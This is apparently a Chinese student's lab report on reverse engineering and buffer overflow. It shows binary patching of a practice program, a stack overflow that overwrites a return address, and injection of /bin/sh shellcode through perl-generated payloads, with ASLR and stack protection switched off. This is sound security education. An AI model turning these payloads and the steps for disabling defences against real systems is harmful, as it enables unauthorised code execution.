zoukankan      html  css  js  c++  java
  • 20155327李百乾《网络对抗》逆向及Bof基础

    20155327李百乾《网络对抗》逆向及Bof基础

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    --

    三个实践内容如下:
    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    注入一个自己制作的shellcode并运行这段shellcode。
    这几种思路,基本代表现实情况中的攻击目标:
    运行原本不可访问的代码片段
    强行修改程序执行流
    以及注入运行任意代码。

    基础知识

    1.熟悉Linux基本操作

    objdump -d:从objfile中反汇编那些特定指令机器码的section。
    perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
    xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
    ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
    |:管道,将前者的输出作为后者的输入。

    :输入输出重定向符,将前者输出的内容输入到后者中。

    2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

    JNE:条件转移指令,如果不相等则跳转。(机器码:75)

    JE:条件转移指令,如果相等则跳转。(机器码:74)

    JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)

    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    实践内容

    实践一:直接修改程序机器指令,改变程序执行流程

    使用objdump -d pwn1将pwn1反汇编

    如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。

    修改的具体步骤如下:

    vi pwn1进入命令模式
    输入:%!xxd将显示模式切换为十六进制
    在底行模式输入/e8d7定位需要修改的地方,并确认
    进入插入模式,修改d7为c3
    输入:%!xxd -r将十六进制转换为原格式
    使用:wq保存并退出

    反汇编查看修改后的代码,发现call指令正确调用getShell:

    实践二:通过构造输入参数,造成BOF攻击,改变程序执行流

    按照步骤输入:

     gdb pwn1
    (gdb) r
    Starting program: /root/pwn1 
    1111111122222222333333334444444455555555
    1111111122222222333333334444444455555555
    ```使用gdb进行调试:
    ![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134447223-1650846507.png)
    
    - 确认用什么值来覆盖返回地址。
    
    首先通过之前对文件反汇编,可以得到getShell函数的内存地址为0804847d。
    由于前一步中,输入1234,得到的地址为34333231。因此,getshell的地址应反着输入,正确的是:11111111222222223333333344444444x7dx84x04x08。
    - 构造输入字符串
    
    因为键盘无法输入x7dx84x04x08这样的16进制数值,所以通过重定向生成包括这样字符串的一个文件。
    x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    使用16进制查看指令xxd查看input文件的内容。
    ![](https://images2018.cnblogs.com/blog/1071551/201803/1071551-20180320134622254-621429758.png)
    
    
    ##实践三 注入Shellcode并执行
    .准备一段Shellcode
    
      Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。这次试用一个已经生成的shellcode:
      
    
    选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为x4x3x2x1):
    
    

    perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode

    2. 准备工作
    
    

    root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
    0

    
    
    打开一个终端注入这段攻击buf
    
    

    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn1
    ������1�Ph//shh/bin��PS��1Ұ

    再开另外一个终端,用gdb来调试pwn1这个进程。
    
    root@KaliYL:/home# ps -ef | grep pwn1 //找到pwn1的进程号是
    
    
    root@KaliYL:/home# gdb//启动gdb调试这个进程
    
    (gdb) attach 27728
    
    
    
    (gdb) disassemble foo// 通过设置断点,来查看注入buf的内存地址
    
    (gdb) break *0x080484ae
    Breakpoint 1 at 0x80484ae
    //!!注意:在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
    
    (gdb) c  
    Continuing.
    
    
    
    (gdb) info r esp //查看寄存器的值
    
    (gdb) x/16x 0xffffd3fc  //看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd2e0
    


    root@KaliYL:~# perl -e 'print "A" x 32;print "xe0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    查看shellcode转换进制内容xxd input_shellcode,并运行验证是否成功(cat input_shellcode;cat) | ./pwn20155305

    root@KaliYL:~# xxd input_shellcode
    
    root@KaliYL:~# (cat input_shellcode;cat) | ./pwn20155327
    

  • 相关阅读:
    Composite in Javascript
    Model Validation in Asp.net MVC
    HttpRuntime.Cache vs. HttpContext.Current.Cache
    Controller Extensibility in ASP.NET MVC
    The Decorator Pattern in Javascript
    The Flyweight Pattern in Javascript
    Model Binding in ASP.NET MVC
    Asp.net MVC
    jQuery Ajax 实例 全解析
    ASP.NET AJAX入门系列
  • 原文地址:https://www.cnblogs.com/l97----/p/8598182.html
Copyright © 2011-2022 走看看